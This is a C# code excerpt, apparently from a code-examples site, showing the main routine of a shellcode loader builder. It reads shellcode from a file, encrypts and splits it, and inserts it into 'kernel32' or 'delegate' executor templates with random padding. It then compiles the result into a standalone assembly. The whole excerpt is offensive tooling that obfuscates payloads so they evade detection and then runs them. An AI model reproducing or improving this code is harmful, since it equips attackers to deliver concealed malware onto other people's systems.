Example #1
0
        static void Main(string[] args)
        {
            if (InputIsValid(args))
            {
                filePath       = args[0];
                keyAsPlaintext = args[1];
                key            = Encoding.ASCII.GetBytes(keyAsPlaintext);
                String mode = args[2].ToLower();

                string encodedString = "";

                try {
                    List <byte> shellcode = Utils.ReadShellcodeFromFile(filePath);
                    encodedString = Utils.Encrypt(shellcode, key);
                } catch (Exception e) {
                    PrintUsage(e.Message, true);
                }

                String template = "";

                if (mode.Equals("test"))
                {
                    template = Templates.Templates.testTemplate;
                    template = template.Replace("KEY_MARKER", keyAsPlaintext).Replace("SHELLCODE_MARKER", encodedString).Replace("RANDOM_MARKER", Helpers.Utils.GetRandomString(500));
                }
                else
                {
                    List <string> encodedParts = splitter.GetEncodedParts(encodedString);
                    parameters.ReferencedAssemblies.Add("System.Core.dll");

                    if (mode.Equals("k32"))
                    {
                        template = Templates.Templates.kernel32ExecutorTemplate;
                    }
                    else if (mode.Equals("delegate"))
                    {
                        template = Templates.Templates.delegateExecutorTemplate;
                        parameters.CompilerOptions += " /unsafe";
                        parameters.ReferencedAssemblies.Add("System.Linq.dll");
                        parameters.ReferencedAssemblies.Add("System.IO.MemoryMappedFiles.dll");
                    }
                    Console.WriteLine("*** Placing first mark: " + encodedParts[0] + " with Length of " + encodedParts[0].Length);
                    Console.WriteLine("*** Placing second mark: " + encodedParts[1] + " with Length of " + encodedParts[1].Length);
                    Console.WriteLine("*** Placing third mark: " + encodedParts[2] + " with Length of " + encodedParts[2].Length);
                    template = template.Replace("KEY_MARKER", keyAsPlaintext).Replace("SHELLCODE_MARKER_1", encodedParts[0]).Replace("SHELLCODE_MARKER_2", encodedParts[1]).Replace("SHELLCODE_MARKER_3", encodedParts[2]).Replace("RANDOM_MARKER", Helpers.Utils.GetRandomString(500));
                }
                parameters.OutputAssembly = parameters.OutputAssembly.Replace("PREFIX", mode);
                CompilerResults results = provider.CompileAssemblyFromSource(parameters, template);

                if (results.Errors.HasErrors)
                {
                    StringBuilder sb = new StringBuilder();

                    foreach (CompilerError error in results.Errors)
                    {
                        sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
                    }

                    throw new InvalidOperationException(sb.ToString());
                }
            }
            else
            {
                PrintUsage();
            }
        }